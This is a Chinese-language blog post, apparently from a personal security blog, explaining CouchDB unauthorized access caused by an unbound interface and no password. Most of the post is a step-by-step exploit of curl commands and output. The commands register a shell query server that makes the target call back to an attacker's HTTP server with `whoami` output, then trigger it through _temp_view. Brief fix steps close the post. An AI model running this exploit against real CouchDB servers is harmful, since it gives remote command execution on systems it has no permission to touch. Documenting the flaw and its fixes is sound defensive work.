CouchDB未授权访问漏洞

2020/08/13 23:50 · 未授权访问 ·  原创文章 · 126阅读 · 0评论

服务简介

CouchDB 是一个开源的面向文档的数据库管理系统,可以通过 RESTful JavaScript Object Notation (JSON) API 访问。术语 “Couch” 是 “Cluster Of Unreliable Commodity Hardware” 的首字母缩写,它反映了 CouchDB 的目标具有高度可伸缩性,提供了高可用性和高可靠性,即使运行在容易出现故障的硬件上也是如此。CouchDB会默认会在5984端口开放Restful的API接口,用于数据库的管理功能。

产生原因

1)未指定CouchDB绑定的ip

2)未设置访问密码

漏洞利用

#1、使用python开启简单http服务
root@kali:~# python -m SimpleHTTPServer 8000
Serving HTTP on 0.0.0.0 port 8000 ...

#2、新增query_server配置,shell是可以修改的名字
root@kali:~# curl -X PUT 'http://192.168.83.99:5984/_config/query_servers/shell' -d '"curl http://192.168.83.100:8000/`whoami`.php"'
"curl http://192.168.83.100:8000/`whoami`.php"

#3、新建一个临时表,插入一条记录
root@kali:~# curl -X PUT 'http://192.168.83.99:5984/test_vul'
{"ok":true}
root@kali:~# curl -X PUT 'http://192.168.83.99:5984/test_vul/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
{"ok":true,"id":"vul","rev":"1-967a00dff5e02add41819138abb3284d"}

#4、调用query_server处理数据
root@kali:~# curl -X POST 'http://192.168.83.99:5984/test_vul/_temp_view?limit=11' -d '{"language":"shell","map":""}' -H 'Content-Type: application/json'

#5、命令执行成功
root@kali:~# python -m SimpleHTTPServer 8000
Serving HTTP on 0.0.0.0 port 8000 ...
192.168.83.99 - - [16/Jul/2020 23:09:34] code 404, message File not found
192.168.83.99 - - [16/Jul/2020 23:09:34] "GET /couchdb.php HTTP/1.1" 404 -
192.168.83.99 - - [16/Jul/2020 23:09:35] code 404, message File not found
192.168.83.99 - - [16/Jul/2020 23:09:35] "GET /couchdb.php HTTP/1.1" 404 -

修复方法

1)在 /etc/couchdb/local.ini 中找到 “bind_address”,设置绑定ip

2)设置访问密码,在 /etc/couchdb/local.ini的“[admins]”字段可以设置

您可能感兴趣的文章

本文地址:https://www.ouyangxiaoze.com/2020/08/621.html
版权声明:本文为原创文章,版权归 欧阳小泽 所有,欢迎分享本文,转载请保留出处!

文件下载

boke112导航_独立博客导航平台

上一篇:
下一篇:

 发表评论


表情